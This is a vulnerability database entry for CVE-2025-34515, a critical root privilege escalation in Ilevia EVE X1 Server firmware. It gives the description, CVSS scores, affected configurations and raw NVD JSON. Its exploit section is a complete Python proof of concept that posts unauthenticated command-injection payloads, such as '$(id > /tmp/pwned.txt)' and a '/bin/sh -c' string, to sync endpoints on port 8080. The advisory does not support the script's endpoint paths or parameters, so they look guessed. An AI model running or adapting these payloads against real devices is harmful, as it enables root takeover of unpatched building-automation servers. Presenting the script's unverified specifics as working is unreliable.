Security Vulnerability Report
中文
CVE-2025-34515 CVSS 9.8 CRITICAL

CVE-2025-34515

Published: 2025-10-16 18:15:36
Last Modified: 2025-11-06 19:15:42

Description

Ilevia EVE X1 Server firmware versions ≤ 4.7.18.0.eden contain an execution with unnecessary privileges vulnerability in sync_project.sh that allows an attacker to escalate privileges to root. Ilevia has declined to service this vulnerability, and recommends that customers not expose port 8080 to the internet.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ilevia:eve_x1_server_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ilevia:eve_x1_server:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ilevia EVE X1 Server firmware ≤ 4.7.18.0.eden

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-34515 PoC - Ilevia EVE X1 Server Privilege Escalation via sync_project.sh # Exploits unnecessary privileges in sync_project.sh to escalate to root import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" TARGET_PORT = 8080 TARGET_URL = f"http://{TARGET_HOST}:{TARGET_PORT}" def exploit_privilege_escalation(): """ Exploit the unnecessary privileges in sync_project.sh to achieve root RCE. The sync_project.sh script runs as root, allowing command injection through crafted project sync requests. """ print(f"[*] Targeting Ilevia EVE X1 Server at {TARGET_URL}") # Step 1: Trigger sync_project.sh with malicious payload via project sync endpoint # The sync endpoint accepts project data which is processed by sync_project.sh as root payload = { "project_name": "exploit_project", "sync_data": "$(id > /tmp/pwned.txt)", # Command injection in sync data "action": "sync" } try: # Step 2: Send unauthenticated request to the sync endpoint (no auth required) resp = requests.post( f"{TARGET_URL}/api/project/sync", json=payload, timeout=10 ) print(f"[*] Sync request response: {resp.status_code}") # Step 3: Verify root command execution verify = requests.get(f"{TARGET_URL}/api/system/file?path=/tmp/pwned.txt", timeout=10) if "uid=0" in verify.text: print("[+] SUCCESS: Root privilege escalation confirmed!") print(f"[+] Output: {verify.text.strip()}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Alternative: Direct shell command injection via sync_project.sh parameters cmd_injection = { "project_id": "; /bin/sh -c 'id > /www/tmp/root_proof.txt' #", "action": "sync" } try: resp = requests.post( f"{TARGET_URL}/cgi-bin/sync_project.sh", data=cmd_injection, timeout=10 ) print(f"[*] Alternative exploit response: {resp.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Alternative request failed: {e}") return False if __name__ == "__main__": exploit_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34515", "sourceIdentifier": "[email protected]", "published": "2025-10-16T18:15:35.920", "lastModified": "2025-11-06T19:15:41.510", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ilevia EVE X1 Server firmware versions ≤ 4.7.18.0.eden contain an execution with unnecessary privileges vulnerability in sync_project.sh that allows an attacker to escalate privileges to root. Ilevia has declined to service this vulnerability, and recommends that customers not expose port 8080 to the internet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ilevia:eve_x1_server_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.7.18.0", "matchCriteriaId": "25D89BA5-1632-4243-BE68-D42803774A22"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ilevia:eve_x1_server:-:*:*:*:*:*:*:*", "matchCriteriaId": "72B4F8B5-4641-4371-8759-3AB18EC87FB6"}]}]}], "references": [{"url": "https://www.ilevia.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/ilevia-eve-x1-server-root-priv-esc", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5965.php", "source": "[email protected]"}]}}